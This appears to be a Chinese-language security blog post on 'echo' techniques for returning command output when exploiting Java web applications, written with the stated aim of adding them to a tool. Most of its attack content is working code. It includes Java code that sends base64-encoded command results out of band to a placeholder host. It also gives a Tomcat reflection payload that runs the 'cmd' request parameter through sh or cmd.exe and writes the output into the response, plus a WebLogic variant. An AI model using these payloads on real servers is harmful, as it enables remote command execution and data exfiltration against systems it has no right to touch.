初识回显

文章发布时间:

最后更新时间:

回显技术学习

写在前面

通常我们在进行命令执行,文件读取等情况,需要查看命令执行的结果的时候,可能会出现无法查看返回结果的情况,这里学习一下几种通用的回显技术,并集成到工具当中。

通用回显技术

  • 报错回显

    这种回显基于报错信息来进行回显,基本原理就是在 throw new Exception() 抛出异常时将回显信息返回,如果服务端并没有对报错信息作处理的话就能够直接回显出来

    image-20230121220607394

  • OOB 带外回显

  1. 对于出网机器

    使用http传输,如wget,curl,certutil将回显信息爬出

  2. 对于不出网机器

    使用DNS传输,ICMP传输,powershell中的wget,curl等传输

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    String target = "xxxxx";
    BASE64Encoder encoder = new BASE64Encoder();
    String encodeResult = encoder.encode(this.result.getBytes());
    URL url = new URL(target);
    String body = "{\"result\":\"" + encodeResult + "\"}";
    HttpURLConnection connection = (HttpURLConnection) url.openConnection();
    connection.setRequestProperty("Content-Type", "application/json");
    connection.setDoOutput(true);
    connection.setRequestProperty("Content-Length", String.valueOf(body.length()));
    connection.setConnectTimeout(2000);
    connection.setReadTimeout(5000);
    connection.getOutputStream().write(body.getBytes());
    BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream(), StandardCharsets.UTF_8));
    in.close();
    connection.disconnect();

    image-20230121230934328

    image-20230121231348260

  • Tomcat型回显

    我们的需求就是能够找到一个通用的 Response类实例,然后直接写入回显内容

    进而需要找到如下条件的变量实例:

    是一个ThreadLocal,这样才能获取到当前线程的请求信息。而且最好是一个static静态变量,否则我们还需要去获取那个变量所在的实例

    org.apache.catalina.core.ApplicationFilterChain#internalDoFilter()和静态代码块中可以看到初始化了一个当前线程并设置了request 和 response

    image-20230122114945914

    我们需要做的就是将WRAP_SAME_OBJECT变量设置为true,然后从 lastServicedResponse 中取 response 变量即可。注意到 WRAP_SAME_OBJECT 变量为final字段,所以我们想要通过反射修改的话需要一些特殊操作

    image-20230122115825117

    将 private 修饰的字段变为 accessible;再将 final 修饰符去掉;

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    static void changeStaticFinal(Field field, Object newValue) throws Exception {
    field.setAccessible(true); // 如果field为private,则需要使用该方法使其可被访问

    Field modifersField = Field.class.getDeclaredField("modifiers");
    modifersField.setAccessible(true);
    // 把指定的field中的final修饰符去掉
    modifersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);

    field.set(null, newValue); // 为指定field设置新值
    }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
//去掉final修饰符
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
//设置允许访问
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);

ThreadLocal<ServletResponse> lastServicedResponse =
(ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
String cmd = lastServicedRequest != null
? lastServicedRequest.get().getParameter("cmd")
: null;
if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
//如果是第一次请求,则修改各字段,否则获取cmd参数执行命令并返回结果
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
} else if (cmd != null) {
ServletResponse responseFacade = lastServicedResponse.get();
responseFacade.getWriter();
java.io.Writer w = responseFacade.getWriter();
Field responseField = ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
//目前得到的response是org.apache.catalina.connector.ResponseFacade,其封装了org.apache.catalina.connector.Response,要修改的usingWriter字段在后者中
Response response = (Response) responseField.get(responseFacade);
Field usingWriter = Response.class.getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set((Object) response, Boolean.FALSE);

boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
w.write(output);
w.flush();
}

这里有个细节就是字段 usingWriter 的作用,实际上是为了解决网页不会输出原来正常内容的问题,writer的占用将会导致原先的response得不到输出,从而在原有业务逻辑中抛出异常

验证的时候需要刷新两次的原因是因为第一次只是通过反射去修改值,这样在之后的运行中就会cache我们的请求,从而也就能获取到response。

  • weblogic 型回显

    原理和上面一样,也是筛选出可以调用req 和 rep内容的线程,对其回显内容进行改造,weblogic 中的 ServletRequestImpl 类符合条件

    ((ServletRequestImpl) this.getCurrentWork()).getResponse().getWriter().write("xxxxxxx"),就会在返回包中看到返回xxxxxxx

    按照字节流进行输出,如下调用方式:(weblogic10.3.6)

    1
    2
    ((ServletRequestImpl) this.getCurrentWork()).getResponse().getServletOutputStream().writeStream(new StringInputStream("xxxx"))
    ((ServletRequestImpl) this.getCurrentWork()).getResponse().getServletOutputStream().flush()

    同时,为了避免其他输出信息的干扰,如下方式可以将结果覆盖为空

    1
    ((ServletRequestImpl) this.getCurrentWork()).getResponse().getWriter().write("")

    结合一下,利用反射构造的结果如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    Class<?> clazz = Class.forName("weblogic.work.ExecuteThread");
    Method m = clazz.getDeclaredMethod("getCurrentWork");
    Object currentWork = m.invoke(Thread.currentThread());

    Class<?> servletRequestImpl = Class.forName("weblogic.servlet.internal.ServletRequestImpl");
    Method m2 = servletRequestImpl.getDeclaredMethod("getResponse");
    Object response = m2.invoke(currentWork);

    Class<?> servletResponseImpl = Class.forName("weblogic.servlet.internal.ServletResponseImpl");
    Method m3 = servletResponseImpl.getDeclaredMethod("getServletOutputStream");
    Object outputStream = m3.invoke(response);

    Class<?> stringInputStream = Class.forName("weblogic.xml.util.StringInputStream");
    Constructor<?> constructor = stringInputStream.getDeclaredConstructor(String.class);
    Object resultStream = constructor.newInstance(this.result);

    Class<?> servletOutputStreamImpl = Class.forName("weblogic.servlet.internal.ServletOutputStreamImpl");
    Method m4 = servletOutputStreamImpl.getDeclaredMethod("writeStream", stringInputStream);
    m4.invoke(outputStream, resultStream);

    Method m5 = servletOutputStreamImpl.getDeclaredMethod("flush");
    m5.invoke(outputStream);

    Method m6 = servletResponseImpl.getDeclaredMethod("getWriter");
    Object writer = m6.invoke(response);

    Class<?> printWriter = Class.forName("java.io.PrintWriter");
    Method m7 = printWriter.getDeclaredMethod("write", String.class);
    m7.invoke(writer, "");

    TODO:待深入

参考链接

https://cloud.tencent.com/developer/article/1956480

https://xz.aliyun.com/t/7348

https://www.jianshu.com/p/2d490b0155ad

https://l3yx.github.io/2020/03/31/Java-Web%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%9B%9E%E6%98%BE%E6%80%BB%E7%BB%93/#%E5%9F%BA%E4%BA%8E%E5%85%A8%E5%B1%80%E5%82%A8%E5%AD%98%E8%8E%B7%E5%8F%96Tomcat-Response